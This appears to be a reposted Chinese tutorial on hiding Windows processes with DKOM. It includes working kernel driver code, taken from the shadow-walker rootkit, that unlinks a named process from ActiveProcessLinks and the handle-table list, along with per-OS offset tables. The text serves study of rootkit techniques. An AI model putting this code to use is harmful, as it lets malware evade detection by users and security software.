在Windows内核中有一个活动进程链表AcvtivePeorecssList。它是一个双向链表,保存着系统中所有进程的EPROCESS结构。特别地,进程的EPROCESS结构包含一个具有指针成员FLINK和BLINK的LIST_ENTRY结构,这两个指针分别指向当前进程的前方和后方进程。当某些模块需要获得系统中运行的所有进程信息时,就会遍历这个链表。若在PsActviePoroessList链表上删除了某个进程对象,该进程将被隐藏起来。
EPROCESS的结构可参考http://www.nirsoft.net/kernel_struct/vista/EPROCESS.html。windbg中查看如下:
0:000> dt _EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER
   +0x078 ExitTime         : _LARGE_INTEGER
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void
   +0x088 ActiveProcessLinks : _LIST_ENTRY
   +0x090 QuotaUsage       : [3] Uint4B
   +0x09c QuotaPeak        : [3] Uint4B
   +0x0a8 CommitCharge     : Uint4B
   +0x0ac PeakVirtualSize  : Uint4B
   +0x0b0 VirtualSize      : Uint4B
   +0x0b4 SessionProcessLinks : _LIST_ENTRY
   +0x0bc DebugPort        : Ptr32 Void
   +0x0c0 ExceptionPort    : Ptr32 Void
   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE
   ......
   也就是说每次得到一个ActiveProcessLinks地址,再减去它离EPROCESS结构入口处的偏移,就可以得到EPROCESS的地址,然后就可以轻松得到想要的EPROCESS的任何成员变量!不同的操作系统ActiveProcessLinks的偏移有所不同。
  要想隐藏某个进程,将其从ActiveProcessLinks链表中摘掉并修改前后结点的指向即可,同时修改HandleTableList的指向。shadow-walker上就对HandleTableList链表也进行了修改。_HANDLE_TABLE、HandleTableList在不同操作系统中在EPROCESS中便宜也不同。可以通过PsGetVersion获取系统版本并赋值。具体值可以在windbg中查看。
 ULONG majorVersion;
 ULONG minorVersion;
 // Get the operating system version
 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
 if (majorVersion == 4 && minorVersion == 0)
 {
  //DbgPrint("Stop supporting NT 4.0");
  return STATUS_UNSUCCESSFUL;
 }
 else if (majorVersion == 5 && minorVersion == 0)
 {
  //DbgPrint("Microsoft Windows 2000 ");
  *pd_flink = 160;
  *pd_tableoff = 0x128;
  *pd_tablelist = 0x54;
 }
 else if (majorVersion == 5 && minorVersion == 1)
 {
  //DbgPrint("Microsoft Windows XP ");
  *pd_flink = 136;
  *pd_tableoff = 0xc4;
  *pd_tablelist = 0x1c;
 }
 else if (majorVersion == 5 && minorVersion == 2)
 {
  //DbgPrint("Microsoft Windows Server 2003 ");
  *pd_flink = 136;
  *pd_tableoff = 0xc4;//
  *pd_tablelist = 0x1c; //
 }
这种隐藏进程的方法貌似就叫DKOM法,具体原理上个图看看:

图中,正常的连接情况如黑线箭头所示,若要摘除某个结点,修改该结点前后两个结点的指针即可,修改示意如红线所示!代码都是shadow-walker中的,如下
void HideEPROCESSByPrefix(char *p_name, DWORD d_procName, DWORD d_flinkOffset, DWORD d_tableOffset, DWORD d_tableList)
{
 int   len         = 0;
 PLIST_ENTRY plist_active_procs;
 DWORD curr_eproc, eproc;

if (p_name == NULL)
  return;

len = strlen(p_name);

eproc = (DWORD) PsGetCurrentProcess();
 curr_eproc = eproc;

do
 {
  plist_active_procs = (LIST_ENTRY *) (curr_eproc+d_flinkOffset);//get the first ActiveProcessLinks

if(_strnicmp(p_name, (PVOID)(curr_eproc+d_procName) ,len) == 0) //cmp the procname if equal hideproc name
  {
   // just Change neighbors
   *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
   *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

UnHookHandleListEntry((PEPROCESS)curr_eproc, d_tableOffset, d_tableList);

// Advance
   curr_eproc = (DWORD) plist_active_procs->Flink;//pointer next ActiveProcessLinks
   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS

// Point to ourselves
   plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink); // Change the current EPROCESS
   plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink); // so we don't point to crap
  }
  else
  {
   curr_eproc = (DWORD) plist_active_procs->Flink;  //pointer next ActiveProcessLinks
   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS
  }
 } while(eproc != curr_eproc);  //
}

void UnHookHandleListEntry(PEPROCESS eproc, DWORD d_handleTable, DWORD d_handleList)
{
 PLIST_ENTRY plist_hTable = NULL;
 plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + d_handleTable)) + d_handleList);

// Change neighbors because they point fingers
 *((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;
 *((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;

plist_hTable->Flink = (LIST_ENTRY *) &(plist_hTable->Flink); // Change the current LIST_ENTRY
 plist_hTable->Blink = (LIST_ENTRY *) &(plist_hTable->Flink); // so we don't point to crap

}

转载于:https://www.cnblogs.com/vcerror/p/4289090.html

修改ActiveProcessLinks链表隐藏进程相关推荐

  1. [转载]侦测隐藏进程

    侦测隐藏进程 Detection of the hidden processes 俄语原文:http://wasm.ru/article.php?article=hiddndt 俄文翻译:kao ht ...

  2. 修改linux内核达到隐藏进程目的(2.6.28)

    修改linux内核达到隐藏进程目的(2.6.28) 要求: 高级操作系统与分布式系统作业 ps和top命令列出了unix中当前所有进程的相关信息,作业要求在linux中增加两个系统调用,功能如下: h ...

  3. 逆向工程核心原理读书笔记-API钩取之隐藏进程(一)

    简评: 整体看了下代码,其实就是应用层的inline hook, 钩子勾住ntdll.dll里面的ZwQuerySystemInformation函数, xp环境测试成功了,win7测试失败了,不知道 ...

  4. 内核下断链隐藏进程(兼容多版本Windows系统,非硬编码)

    前言 在Windows内核下,我们可以通过获取EPROCESS结构来隐藏进程,EPROCESS是微软未公开的结构体,其本质上就是双向链表的一个节点,通过修改该双向链表即可达到隐藏进程的目的.但EPRO ...

  5. 驱动层SSDT 隐藏进程

    闲着没事,便想在熟悉下之前看过的驱动编程相关知识,于是就写了这个简单的驱动曾隐藏进程程序. 要点:  在驱动层隐藏,主要还是使用SSDT挂钩的方法,相关知识,可以到网上查找,在隐藏进程时,为了能够隐藏 ...

  6. Linux几种检测rootkit隐藏进程的方法

    Rootkit通常会隐藏进程,隐藏文件和网络连接.这里主要记录几种对隐藏进程的检测方法 一. 隐藏进程的方法 1.1 用户级Rootkit 通过LD_PRELOAD来hook libc库,从而过滤/p ...

  7. 在windows内核模式下隐藏进程

    进程隐藏之内核实现 1.在内核模式下,系统为每个进程维护了一个EPROCESS结构体,系统所有的进程是通过EPROCESS结构体中的一个ActiveProcessLinks指向的双端链表连接起来的,通 ...

  8. linux 用户态 隐藏进程 简介

    目录 linux下查看进程的方法 PS/TOP显示进程原理 隐藏进程 某些时候程序员为了防止其他人不小心或者恶意破坏掉你运行的程序,或者我们要做些"见不得光"的事情,就有隐藏进程的 ...

  9. 内核层 inlinehook 隐藏进程

    上次是SSDT  HOOK 方式 隐藏 进程 ,如链接:http://blog.csdn.net/hjxyshell/article/details/16993119 这次是InlineHook 方式 ...

最新文章

  1. 七天学会「股票数据分析软件」的开发(中)
  2. 元宇宙iwemeta: 重庆打造“数据之都”,拟成立重庆数据交易所
  3. FFmpeg命令行map参数选择音视频流
  4. java ftpclient quit_FTPClient
  5. windows文件路径大于MAX_PATH
  6. mysql 6.5.7_centos 6.5装mysql5.7
  7. python入门教程傻瓜版_毫无基础的人如何入门 Python ?Python入门教程拿走不谢啦!...
  8. IOS9 微信支付报 prepayid 获取失败 ErrorDomainSSL, -9802
  9. UE4搭建场景与特效文档—地形、水体、植被、雨雾效果
  10. Millet谷仓区块链和电子商务及Token相结合的产物
  11. 06 聚类算法 - 代码案例二 - K-Means算法和Mini Batch K-Means算法比较
  12. python 点击按钮 click_selenium+Python(Js处理click失效)
  13. Qt 样式表之QSS
  14. 冲激函数与卷积的多次邂逅
  15. C语言的/t到底有什么用
  16. 为什么要减肥呢?减肥的意义
  17. 芯片ECO的种类和修复方法介绍
  18. 运用 Elasticsearch 8.1.x 实现智能问答系统
  19. Vue进阶(幺玖叁):$OPTIONS 讲解
  20. (六)Linux内存管理 - zoned page frame allocator - 1

热门文章

  1. java创建医生的对象_基于安卓Android的作物医生App设计开发(MySQL)(含录像)
  2. NIO详解(一):java网络编程IO总结(BIO、NIO、AIO)
  3. 现代操作系统: 第九章 安全
  4. Apache SparkStreaming 简介和编程模型
  5. kali linux 的ssh服务器,如何在 Kali Linux 上安装 SSH 服务
  6. mysql创建函数1418_Mysql中创建函数报“ERROR 1418 ”的解决方法
  7. 项目管理project甘特图模板_【八大项目管理应用】必用项目管理工具对比推荐...
  8. 循环神经网络-Dropout
  9. C#7.0连接MySQL8.0数据库的小笔记
  10. 50 道 CSS 基础面试题及答案